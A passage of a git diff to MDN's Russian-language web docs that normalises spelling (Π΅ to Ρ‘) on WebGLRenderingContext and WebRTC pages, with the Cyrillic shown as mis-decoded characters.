-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
<p>{{Compat("api.WebGLRenderingContext.bindTexture")}}</p>
diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html
index 9ecb9bd735..b68ba5b4be 100644
--- a/files/ru/web/api/webglrenderingcontext/compileshader/index.html
+++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html
@@ -50,7 +50,7 @@ gl.compileShader(shader);
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
<p>{{Compat("api.WebGLRenderingContext.compileShader")}}</p>
diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html
index d7cc40db94..fe955d5073 100644
--- a/files/ru/web/api/webglrenderingcontext/enable/index.html
+++ b/files/ru/web/api/webglrenderingcontext/enable/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/WebGLRenderingContext/enable
---
<div>{{APIRef("WebGL")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>WebGLRenderingContext.enable()</code></strong> ΠΈΠ· <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ возмоТности WebGL для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ контСкста.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>WebGLRenderingContext.enable()</code></strong> ΠΈΠ· <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ возмоТности WebGL для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ контСкста.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
index e91fa4e851..e34cc75d94 100644
--- a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
+++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
@@ -65,7 +65,7 @@ if (message.length &gt; 0) {
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
<p>{{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}</p>
diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html
index 2db54961f0..550dc0f367 100644
--- a/files/ru/web/api/webglrenderingcontext/index.html
+++ b/files/ru/web/api/webglrenderingcontext/index.html
@@ -72,11 +72,11 @@ var gl = canvas.getContext('webgl');
<dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, какая арифмСтичСская функция ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для смСшивания пиксСлСй для RGB ΠΈ Π°Π»ΡŒΡ„Π°-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</dd>
<dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ значСния Ρ†Π²Π΅Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈ очисткС цвСтовых Π±ΡƒΡ„Π΅Ρ€ΠΎΠ².</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ значСния Ρ†Π²Π΅Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈ очисткС цвСтовых Π±ΡƒΡ„Π΅Ρ€ΠΎΠ².</dd>
<dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ очисткС Π±ΡƒΡ„Π΅Ρ€Π° Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ очисткС Π±ΡƒΡ„Π΅Ρ€Π° Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹.</dd>
<dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ шаблона, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ очисткС Π±ΡƒΡ„Π΅Ρ€Π° шаблона.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ шаблона, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ очисткС Π±ΡƒΡ„Π΅Ρ€Π° шаблона.</dd>
<dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt>
<dd>УстанавливаСт ΠΊΠ°ΠΊΠΈΠ΅ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ для Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹Β ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹Β ΠΏΡ€ΠΈ отрисовкС или Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π΅Β Π½Π°{{domxref("WebGLFramebuffer")}}.</dd>
<dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt>
@@ -98,7 +98,7 @@ var gl = canvas.getContext('webgl');
<dt>{{domxref("WebGLRenderingContext.getError()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</dd>
<dt>{{domxref("WebGLRenderingContext.hint()")}}</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ подсказки для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ повСдСния. Π˜Π½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΡ этих подсказок зависит ΠΎΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ подсказки для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ повСдСния. Π˜Π½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΡ этих подсказок зависит ΠΎΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</dd>
<dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt>
<dd>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, Β Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΈΠ»ΠΈ нСт конкрСтная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ WebG.</dd>
<dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt>
@@ -106,7 +106,7 @@ var gl = canvas.getContext('webgl');
<dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌΡ‹ хранилища пиксСлСй</dd>
<dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt>
- <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ„Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡΒ  ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ для расчСта значСния Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹.</dd>
+ <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ„Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡΒ  ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ для расчёта значСния Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹.</dd>
<dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ составныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹  для сглаТивания эффСктов.</dd>
<dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt>
diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html
index 86ac976ab8..c41d33671f 100644
--- a/files/ru/web/api/webglrenderingcontext/shadersource/index.html
+++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html
@@ -56,7 +56,7 @@ var source = gl.getShaderSource(shader);</pre>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
<p>{{Compat("api.WebGLRenderingContext.shaderSource")}}</p>
diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html
index 91a02ac2b9..d1f8c30223 100644
--- a/files/ru/web/api/webglrenderingcontext/uniform/index.html
+++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html
@@ -88,7 +88,7 @@ gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или масс
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</p>
<p>{{Compat("api.WebGLRenderingContext.uniform1f")}}</p>
diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html
index efe5581fc2..575e045e1f 100644
--- a/files/ru/web/api/webrtc_api/adapter.js/index.html
+++ b/files/ru/web/api/webrtc_api/adapter.js/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/adapter.js
---
<p>{{WebRTCSidebar}}</p>
-<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΒ WebRTC <a href="http://www.w3.org/TR/webrtc/">спСцификация</a>Β ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Π°, Π½Π΅ всС Π΅Ρ‰Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Ρ‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. НСкоторыС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² браузСрах всС Π΅Ρ‰Π΅ содСрТат прСфиксы ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Π²Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ всСх WebRTC интСрфСйсах, ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π² Ρ€ΡƒΡ‡Π½ΡƒΡŽ, ΡƒΡ‡Π΅ΡΡ‚ΡŒ вопросы нСсовмСстимости Π² своСм ΠΊΠΎΠ΄Π΅. Но Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ простой Π²Ρ‹Ρ…ΠΎΠ΄. ΠžΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΡΒ <span class="seoSummary">WebRTC</span>Β <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒΒ adapter.js</a> для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ вопросов нСсовмСстимостСй Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Ρ… рСализациях WebRTC. Π­Ρ‚Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° являСтся JavaScript ΠΊΠ»ΠΈΠ½ΠΎΠΌ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² соотвСтствии со спСцификациСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π» Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈΒ WebRTC. Π‘ Π½Π΅ΠΉ Π½Π΅Ρ‚ нСобходимости условно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСфиксныС интСрфСйсы ΠΈΠ»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ±Ρ…ΠΎΠ΄Π½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ</span></p>
+<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΒ WebRTC <a href="http://www.w3.org/TR/webrtc/">спСцификация</a>Β ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Π°, Π½Π΅ всС Π΅Ρ‰Ρ‘ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Ρ‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. НСкоторыС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² браузСрах всС Π΅Ρ‰Ρ‘ содСрТат прСфиксы ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Π²Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ всСх WebRTC интСрфСйсах, ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π² Ρ€ΡƒΡ‡Π½ΡƒΡŽ, ΡƒΡ‡Π΅ΡΡ‚ΡŒ вопросы нСсовмСстимости Π² своём ΠΊΠΎΠ΄Π΅. Но Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ простой Π²Ρ‹Ρ…ΠΎΠ΄. ΠžΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΡΒ <span class="seoSummary">WebRTC</span>Β <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒΒ adapter.js</a> для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ вопросов нСсовмСстимостСй Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Ρ… рСализациях WebRTC. Π­Ρ‚Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° являСтся JavaScript ΠΊΠ»ΠΈΠ½ΠΎΠΌ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² соотвСтствии со спСцификациСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π» Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈΒ WebRTC. Π‘ Π½Π΅ΠΉ Π½Π΅Ρ‚ нСобходимости условно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСфиксныС интСрфСйсы ΠΈΠ»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ±Ρ…ΠΎΠ΄Π½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ</span></p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong>Β ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ названия API-Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² Π² WebRTC ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… постоянно ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот Π°Π΄Π°ΠΏΡ‚Π΅Ρ€.</p>
diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html
index 1c3d082d99..e1563f8e4f 100644
--- a/files/ru/web/api/webrtc_api/index.html
+++ b/files/ru/web/api/webrtc_api/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API
